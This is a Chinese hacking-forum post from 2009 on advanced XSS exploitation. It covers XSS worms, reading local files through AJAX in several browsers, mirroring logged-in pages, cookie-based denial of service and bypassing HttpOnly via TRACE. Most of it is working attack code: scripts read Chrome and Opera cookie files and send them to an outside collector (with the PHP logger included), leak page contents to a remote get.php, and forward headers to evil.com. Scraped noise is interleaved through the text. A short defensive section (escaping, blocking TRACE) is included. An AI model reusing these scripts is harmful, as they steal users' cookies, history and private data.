XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 F- @3 U% v% ]+ e, }3 |; }' A: h8 q/ d本帖最后由 racle 于 2009-5-30 09:19 编辑
& z) X, x8 L3 E; r! B
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
* _( v  T% x2 Z& lBy racle@tian6.com   
4 z( }3 j- x! N; Y; }: \2 Ohttp://bbs.tian6.com/thread-12711-1-1.html
. v7 C3 V3 ]: u+ `% @转帖请保留版权

0 \7 v2 z% Y! P& O$ o, o, ?
$ o# _+ I. X; [
& `& O0 n4 r8 w7 H1 @- _-------------------------------------------前言---------------------------------------------------------


! s; B4 A' h4 f1 g7 I$ x' Y本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
9 [9 y6 a+ {3 H+ q
. o6 j( Q" r0 d/ k- M
! W  T2 k* ]6 I  ^0 s如果你还未具备基础XSS知识,以下几个文章建议拜读:
8 H1 V% k0 r2 `+ L3 \7 B7 Thttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
& _3 E6 ~3 z& q, Lhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
6 I! }( d: T) f9 uhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
% V) U- z( j! u5 `1 }6 _
1 B& G9 |  h. O+ a  x0 b
* S) p5 U' n7 K0 ?( r

# j& `# h0 q- s/ e* h1 X如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
% S6 K, ?% l* L' e9 \& n
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

  c$ g4 o. w" s6 z6 S5 M) q: kBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
! s" c3 h/ x" @$ ~5 O0 p/ U! Z
9 H: Q6 y* Y6 {8 p; T, Y- iQQ ZONE,校内网XSS     感染过万QQ ZONE.
6 ^9 {( Z9 h. k" m
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
$ V' F1 w1 F* D& G/ Y* q复制代码------------------------------------------介绍-------------------------------------------------------------
9 B, D! l" @1 L# @% i
. l) n' t" ?0 G* r: z( n# E什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


. W- Z& d( S2 m
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
( S3 h  G, j# y3 q* _* [& \
- A2 i7 _0 p$ z; I0 l+ |
3 i- C3 H. l' b% E% |
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

6 J* Q0 v; u4 ~8 D- F3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
2 R* J" L- k! F3 `
4        XSS漏洞在输出和输入两个方面怎么才能避免.
8 ?; ~" `0 t8 o: ]: a3 C3 R! ^+ L


------------------------------------------研究正题----------------------------------------------------------

, E: O6 U6 q8 e( ]  ]$ \0 q
1 u% e, E# L2 \" {0 ~# p* m: ?
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
5 y" L( S: P8 i复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
) ~5 o4 N8 c$ d7 O4:Http-only可以采用作为COOKIES保护方式之一.
7 ]2 p4 F4 m' @0 V3 M0 v. F

- o/ W% N2 s% G; y% w& x

' D# R' I; O! l# L6 c6 `
5 D9 n+ E7 W( Z(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

- C; w# F( R2 Q$ g- u. x$ x我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
% I- D& T4 F5 n( n
% j; X5 V7 M: [9 ~/ s+ a
) N* t/ v+ g+ a7 W1 i- m
' W  K" o- L! w; z0 D    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
! W$ {7 Q+ v; P3 ~

1 v& k+ b, ?+ Q6 ^, A0 s
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
9 u) f! v& o* W6 ?2 O2 S5 l

7 x) f  i3 \( w8 b6 q, d: c9 h
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
! o9 Q. Q; r, ^# i- v复制代码IE6使用ajax读取本地文件    <script>

) {# L: o, f3 o5 S    function $(x){return document.getElementById(x)}


9 a, D3 E0 z2 [) `3 r( E. F
4 K7 e3 a8 X% t    function ajax_obj(){

; H- A) p2 a, W2 z    var request = false;
6 E$ T# I: Y2 P6 O
    if(window.XMLHttpRequest) {

) l1 I9 Q1 ]+ d  E    request = new XMLHttpRequest();
) D$ ?( ^% x0 w% f3 m
: S. K; L- w  n    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

( t, g+ [6 Z7 G    for(var i=0; i<versions.length; i++) {

    try {

3 W0 i6 N8 K4 ]! G0 V; e* r    request = new ActiveXObject(versions);

' o. N+ e4 E8 k6 ~* u# u* g    } catch(e) {}
" s* O7 y! G1 u+ Q) [
, e3 }! X; I  w6 A- p* q! n, Y    }

5 `- X7 W/ a$ h    }

7 C9 _/ C9 r) g0 w( T  N' }( \- A    return request;

% a, _+ W4 J  H9 X2 M7 m    }
! |+ {8 {  d& h8 |! H) U
    var _x = ajax_obj();

# ]- y+ C3 W* L$ @    function _7or3(_m,action,argv){
+ B) c. T; a/ H6 j  L
( R: q7 \' I9 J4 F: ^. v    _x.open(_m,action,false);
0 g) `2 D5 n3 h. Y, ?
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ ?; s& P# a7 |6 |
: @2 g" S! N. p    _x.send(argv);

& h) |3 |( {! q. {  ~, v+ |; ^; }9 ~    return _x.responseText;
# M3 x0 M) ]+ b  |; t
  p  Z& Q8 M2 ]  Q% X( o& E    }


$ o) {- ?( U: h- p
6 _; K; \# t6 O    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
  j: F7 y9 n3 o/ w
, M3 I5 R) {. b; D3 |

    </script>
- M, L% Q2 k' \% F7 k+ H; d复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

1 E: p# o7 }2 @  ?6 ]    function $(x){return document.getElementById(x)}
# T$ \; Q# P* q4 N
0 v& L1 V6 ~# b9 B" E3 Z2 I8 V1 U

    function ajax_obj(){
  V6 \. O. h" F; Q
    var request = false;

    if(window.XMLHttpRequest) {
3 b" E+ x: z3 V. r6 G* R0 Y* [
    request = new XMLHttpRequest();
5 }6 z7 b" \& I% Y
% \5 T7 H! W' Y+ x# K; u' R4 W    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

: k! S9 }; j0 d/ ]
9 S5 J$ g6 F5 m7 n* H! e  E
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
7 \; C3 Z5 k. X1 s0 s
    for(var i=0; i<versions.length; i++) {

    try {

& g0 b) ^6 L8 Z0 b- A    request = new ActiveXObject(versions);

( C! K2 X' _* T    } catch(e) {}

    }

, o9 K9 f: M& y8 l; S) x. E6 x: Z0 B% D    }

$ ~) J. x! \+ _+ }9 A0 g    return request;

    }

: K# |5 A- z; G    var _x = ajax_obj();

    function _7or3(_m,action,argv){

% _. b; F% S" _3 H3 M7 M" e    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

$ x1 Y2 I( Y0 ^' q# l( d    _x.send(argv);

8 Z. B8 @, o& ]    return _x.responseText;
9 h4 I6 _7 B/ I4 s# r
; V" t3 r. O. y# ^, D3 Y+ b! L    }
  c$ ]; z& ^; k: u$ N# k- i6 D. O# q
1 g5 f  w, y& e. g
1 Y  W5 G: A4 ]
    var txt=_7or3("GET","1/11.txt",null);
( v2 L! D. O5 S+ {  ]& X1 }
    alert(txt);

! _& M4 N* S) U0 y4 {1 ?2 u7 O

    </script>
' g2 s. j. z- O复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

/ M2 P8 E0 Y1 v0 o+ q8 M9 U$ d. Z
0 l9 U; C) l4 P
! K. _$ D# J" R, H& g- M6 OChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



<?   
" h. |9 Y6 \% l
7 }0 Z2 j+ D/ `8 m# E/*  

% s. `* o; t( s" @. U     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
* H% X' k' s9 f$ y
     www.inbreak.net   

  Q  }- S8 V& B7 P' N; }  A     author voidloafer@gmail.com 2009-4-22   
- U* b" ~; m7 N8 u
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

9 G. H7 z/ M8 `8 j  I, D' x. f1 a% K*/  
" `- C+ M8 q3 B3 z+ u: J0 h4 M
% y0 H9 g* m- l# }  D% \6 b& w, eheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

) g& z3 ]3 n( f) d9 r* H- e: b/*  
% N" N# S) ^1 O* P* {! l
1 U7 x; ?$ @$ l( ~     set header, so just download html file,and open it at local.  

*/  

?>   
. Z. S& L/ [; @3 @4 h% q  ?
$ @8 ^: i$ I* [& ]# o5 k<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
# h* L8 Y( |" R. ]# @3 R3 A  }
4 W5 H$ X$ E3 ~/ m* H     <input id="input" name="cookie" value="" type="hidden">   
  O2 F9 q+ M6 {
</form>   
* X" j9 d5 L3 B1 b( }/ C
<script>   
& @  Z0 [1 o2 `0 m- u) i7 Z. R
function doMyAjax(user)   

{   
' T6 ?; i$ X! W7 C
) R- P4 J5 O7 C$ J. |var time = Math.random();   
6 z  O& m2 S5 L: ^! Z4 w- v7 U
/*  
& I! j/ ^+ @% j5 ?3 x" {
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
6 K8 z% @: F: q  m/ S$ E; G6 `
" F( ~. y# X9 ^  d7 O$ \* _! cand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

3 p, |% _, N# c3 h7 qand so on...  
5 C$ I: {" o+ D+ Q$ l
*/  
8 S4 j1 Q6 W9 n8 _
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

+ d5 u  T$ A& N4 u& ~   

/ }2 z- q5 |# T1 F- H& O6 istartRequest(strPer);   
7 R) ], ^3 c! S3 e! n! X' M# Y
+ U$ V0 x8 ^# j0 F
1 R  s* z, E. S/ L$ J
: S; _' H' B" e* r}   
! Y2 A3 h( c  F
   

$ U3 \8 T: w( \: `2 Wfunction Enshellcode(txt)   
  G0 G  w; N$ Z4 m
{   
' I1 G/ d! ~4 b7 B& e
var url=new String(txt);   

var i=0,l=0,k=0,curl="";   
- g# Z0 F2 b2 s* S! R
l= url.length;   

5 F8 S1 o# G3 i; Jfor(;i<l;i++){   
- s* ~; A5 w/ L& b
! Y1 e: Q- X. _8 L! a/ o1 Vk=url.charCodeAt(i);   
2 X6 _# G: G) P: t+ L' k- x# M/ M. L
( [  W2 k# R0 o5 q# N6 L) O7 j9 }. cif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
2 i% J, u4 S; r, u3 s4 Y
. e; n" r/ q: ]% a) |5 qif (l%2){curl+="00";}else{curl+="0000";}   
' X- ~  N3 h9 o/ R. S1 t
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
; R, Q; ^7 u# X5 i* o
' ~" W' O7 B( H}   
4 t2 X4 F9 N  @* `. X, R& \
   
! x8 z4 ?! k# S# p% }
" F/ q0 k8 @. ]  x  w' n   
1 l& M4 a) z2 }5 v9 V) l/ l
var xmlHttp;   
9 Z! P& @' k4 I* G; M
5 g' A1 p2 O/ ^/ m0 [2 ofunction createXMLHttp(){   
- U4 f1 [. G5 Q3 H+ \% \) \3 d
7 U. V2 [) Y% Z* q     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

2 @: O+ ~( y3 u! u* ^     }   

     else if(window.ActiveXObject){   
5 T& j! h$ ~3 \& @1 c6 e# a
' ^8 t, i2 j, I. P% BxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
/ M; h! X' N6 j6 C2 @9 r
     }   
; t( |9 Z) E" N+ U6 z# P* o
}   

. {7 H, W+ c7 z8 x. H6 R6 W3 J   

- z6 [' |% b' R  G+ {# Y9 Lfunction startRequest(doUrl){   
; z4 P& b- x; G  I& Y
$ v6 d1 N" T5 Y& ^" ]% J   

     createXMLHttp();   
7 S! ^# R# N' v8 q. s9 g; G. E8 x
. c/ N# c. l% W* }) h$ z

9 c/ J4 E0 Q+ K2 G     xmlHttp.onreadystatechange = handleStateChange;   
3 \, |+ Q( e6 v0 {* C  s
" a/ G6 O2 a. `/ k' ^4 ]8 {

6 a. p' P  b/ ]" ^     xmlHttp.open("GET", doUrl, true);   

+ i/ C5 B2 J6 R. z

     xmlHttp.send(null);   
( z: n5 U7 p9 {. N9 o( I




}   
* _, ~2 c5 z% N& E5 @2 y6 \
+ `) w/ Q/ w1 H& }   

7 b+ X$ A6 \) X) [5 o8 Rfunction handleStateChange(){   
4 m4 z/ R8 R0 Z0 p$ p% C8 Y
     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
: B% e+ ^- P. o- Q( @
9 _* B; T9 h# g; x% {4 \6 e     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
: m& o' @! F7 t4 O- c6 ^1 P
        

" Q, y! g; K7 e! H$ ?' B     }   

& D6 a: e. c, d4 E/ f6 D0 D}   
' f8 R& V7 l" y
   

   

function framekxlzxPost(text)   
9 q) ]8 r* k, }8 M/ D
{   

     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

9 g. {! ?/ |6 I! _}   
1 ]7 l/ Q, U. F3 h1 N
5 D' V1 T( k0 |1 f" y" ?/ j* M, A  @   

doMyAjax("administrator");   

   
8 L2 A. N, e, h6 B$ t  i
</script>
( [& S$ N  S, q! I% d5 e" w6 y  Q/ z) B复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
3 J; H$ A- m* }/ J3 B/ B1 }
function createXMLHttp(){  
- Y7 T$ N! j+ N; o8 p( I
7 H- L% n0 e+ o. G9 g* j     if(window.XMLHttpRequest){  
% {3 C. W( _+ c  E
         xmlHttp = new XMLHttpRequest();         
$ }+ ^# u- n# O
     }  
& V2 e: k2 M% u4 i/ n
. w/ M5 R" _# u0 N: c8 |2 _! M     else if(window.ActiveXObject){  

  B6 U/ e0 @& E( Y2 ^         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

( C2 v2 E& I" E" T4 Y4 C- Z}  

   

function startRequest(doUrl){  

           
$ Q! A8 |& b+ E) G
     createXMLHttp();  
- U7 I8 e7 E# w
1 z( }1 }4 l% M7 D- p% O  i) J      

     xmlHttp.onreadystatechange = handleStateChange;  

1 r& C  [. `' o# E      
7 k; M7 y' Y. [2 Y% Z2 y5 X. u
     xmlHttp.open("GET", doUrl, true);  
6 _+ @  h6 E* d" z+ k7 q
      
$ n. h1 `* Y5 z4 |" X7 f$ _, _
     xmlHttp.send(null);  
) P0 c$ s9 I! M  {5 M$ c5 p
) ^  I$ x6 c' {9 a5 b      

      

* y& R$ a- V/ o- a6 F}   
9 {. ~: H) h6 z/ T" Y( `# n. g
   

* z2 c" `4 w# D+ ofunction handleStateChange(){  
3 F4 n$ t5 z) d5 g; R! v6 y2 U" A
% e5 n. r- }5 `! }7 d; x     if (xmlHttp.readyState == 4 ){  
  I& {2 |, \8 F9 [( o; F/ }" m
             var strResponse = "";  
/ s3 i3 s' `# N/ \+ T, I' k! t; i6 \
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
$ c+ ]' c% ~7 F- V4 Q' Z, U
               

     }  
" O5 K" b6 ?  a" E. Z
}  

9 i0 v0 x8 W/ y3 X   
% v5 f3 t; {, u/ {' l; @
0 g" h! g9 n3 f$ e6 k! S2 L9 Y0 jfunction doMyAjax(user,file)  
- W) y2 X! @9 A! J" w
2 X' s  `" G2 b1 V5 x{  

         var time = Math.random();  

  T6 b% O/ h# }           

& ~3 i& `4 ^* k/ ]/ Z4 Q  C         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

& c+ y' [1 b) r: i           
' M& |% e2 o# r- F( d6 i) L
         startRequest(strPer);  
! n# A5 B8 ^4 t0 {7 O# S8 l% w
! G7 D$ `  T3 ~  e      
: ?0 [2 B2 M% i
}  
( z1 I8 s" \  H! m
   
' T; J2 e! k+ ~: O5 h
function framekxlzxPost(text)  
! H# P# \- e' [  w
: X0 I8 E, t/ W{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  

7 E2 I2 V* g; u+ q   
# p8 ^$ |( V2 _  Q+ j/ L: |0 ~8 M
doMyAjax('administrator','administrator@alibaba[1].txt');  
6 {! F8 @- J- Q$ l
   
2 Y- A  V. E2 e, }  O, ?2 |$ x4 B
</script>
3 B6 C- U4 e4 f2 s3 d+ n



: G2 y( ?% h8 t7 @. P$ a' _& ^
a.php

$ d0 Q( s" z: P# k$ e

<?php      
7 ~8 P# k4 ~! k# p0 j9 G
   
& r6 y1 H. T- K  u: |  N( V3 X
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

4 }, l+ P. t* G1 B7 i$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
8 M6 @& r- \' l2 }
$ W& n9 U$ ?2 z, H/ `; |) y* e4 C9 T$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
( |8 s$ }$ R+ Y8 @, O7 ^, K5 }$ N
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

4 p2 W" W0 a" H?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

: h& }2 M4 C7 Q; ~$ I$ h+ ^或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

% b0 ?, \/ `: l* e# I//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

$ A# ]& {3 }  ^: z" i5 n; j//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
* S0 E1 V: W' Q3 m4 J8 [% A
: y5 L" [) o5 ~( M; ]" D: {6 R2 bfunction getURL(s) {
  U1 J9 K; r7 r2 z2 g
9 B* S, F# y8 k( l5 Cvar image = new Image();

image.style.width = 0;

image.style.height = 0;
) x. W- {$ v; f2 x
2 n" V; u# I1 V0 _' G' g( zimage.src = s;
- J! i( H4 r+ i4 e
}
8 G0 ~* o) _0 |3 q% q( j6 R. P, X
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
6 ?! I) n, j9 }# @; r1 L这里引用大风的一段简单代码:<script language="javascript">

2 ?! R# K$ {3 {. @var metastr = "AAAAAAAAAA"; // 10 A
( W& E: f" I( W7 }8 c  W
var str = "";
0 V( f$ u4 @6 c9 l. _
6 q: c* v; A0 i# Rwhile (str.length < 4000){
( I5 }, Y" [) t+ `# J
    str += metastr;

) Q4 S1 ~5 }1 m. \/ m9 N) Q5 ?}


5 k- d! B7 j5 H+ Q* s* T. W" z
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

, m. d: `* h  W5 x详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
$ V5 z6 V. @3 J2 h- Y复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

7 n0 P: s1 X+ U0 j) c# ]) z) a2 _假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
8 y: Q, H0 \# s+ S
* n. G3 [, M0 ~$ u( R- W  Y
4 z, H  M. y8 `! N1 ^9 M



(III) Http only bypass 与 补救对策:
) G- W- q, G4 I
/ F* \. }+ }& i" a什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
; @$ e& k3 _& w) A- l以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

9 d! W) G4 E2 e7 \9 {<!--
7 r: l( i. D* K% z9 i9 S$ Q
function normalCookie() {

% C& l: M1 j7 j$ y! pdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
0 }  P4 n* P7 v4 K  F
}
  S$ i# x/ p4 Y) q0 I1 t2 N
; K: }3 t' W! _! t) A: K  c
8 b. F3 @( k7 e: I. f
6 }: J3 ^4 i: s2 u& Y/ f
/ `5 y0 e( y2 z) @4 v
- |! t* V+ b+ E0 p$ ~function httpOnlyCookie() {
9 _0 M& [8 r8 ]# E/ N9 E5 U% v5 L4 w
; W1 q/ b" J+ c$ vdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

9 c+ y; M2 `! x. g1 D( R& w  R  g+ balert(document.cookie);}



//-->
! L- r6 U5 W$ i- k9 L. |
8 T$ ~$ }; u. A6 _3 i5 g</script>
9 E; ^7 d$ C& j; u
2 M7 @' S1 d% Y: v4 W
/ ]  h# o6 d9 n
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

1 z. g5 t: j) l5 R& n$ q<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
. g: u( \+ ~+ H


var request = false;

* e* g6 l: L2 \4 T        if(window.XMLHttpRequest) {
( L, d( H; x2 H: o: S: G, D
9 S+ Y$ N/ @4 j            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
& b6 ?! Q; W. }$ g5 N0 s
                request.overrideMimeType('text/xml');
6 b/ S8 {! r# t* b
            }
+ X! `  [* ^1 s, U( y# }6 z" @1 ^  p6 W
, L0 b* Y8 z/ S; f: c4 R) E        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
0 x+ Z+ ]5 B' r: j( k
                try {
4 ?! O* r8 I0 p2 X8 z
! E* T+ j; j) y% M8 K) n                    request = new ActiveXObject(versions);

# J+ k) a0 h% R( i% |& ~( M* i                } catch(e) {}
) h. O( u% x  R4 H
. x  b- v& n6 |$ N            }

        }
- P# v1 ^) e' _" K
xmlHttp=request;
* [# a2 J  K9 T
xmlHttp.open("TRACE","http://www.vul.com",false);
9 k' M7 L& E( l; U+ N. I, a! T
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

1 F4 k3 z, _- X6 V+ k! s& balert(xmlDoc);
. Z5 \9 n3 O8 _0 |
2 s, B' q; O; w</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
  o+ o1 F, M, C! p5 T' i
# R7 P8 m& a1 X3 KXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
9 |  {2 n( W# C0 c
9 W3 B2 h/ K" y" i3 tvar resource=xmlHttp.responseText

resource.search(/cookies/);

......................
  m& j8 H  h* E2 E
. E5 ]% p$ B0 Z( I2 t: e</script>

) U4 q) D' p4 M# V0 R' p4 S: H

0 ], A/ t! e6 Q! K6 q
$ A5 X) z$ B: [9 S% S
+ a, q0 H( a3 y  c7 E+ B. I如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

. r6 a% u- [- F7 ]8 a! ^[code]

3 b* N9 Z5 W) lRewriteEngine On
7 D1 E& t5 D+ ?  X5 [
* s$ R: z* j1 H2 N" i! a4 RRewriteCond %{REQUEST_METHOD} ^TRACE

! N6 ]. i  Z# @2 p  T- BRewriteRule .* - [F]


; V. k7 A5 f. h6 r9 X8 H5 x/ l
  R9 |0 g; a5 U6 d' GSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

. \* g' V0 ^0 u/ Z8 p" F+ \acl TRACE method TRACE

; o, d% I, N* L4 W! J% p...
: v- h" q" Z! k& k8 L1 w; _( x' g! E
http_access deny TRACE
" R$ v2 p1 ^9 N1 H; r- R复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

5 U$ [0 ~& r  N  b. y( gXmlHttp.open("GET","http://www.google.com",false);

$ p0 }" G) t" p! o9 d" i" T! jXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
+ f1 F% h! Y; \0 A/ [
XmlHttp.send(null);

) z4 G5 W/ \1 G5 B</script>
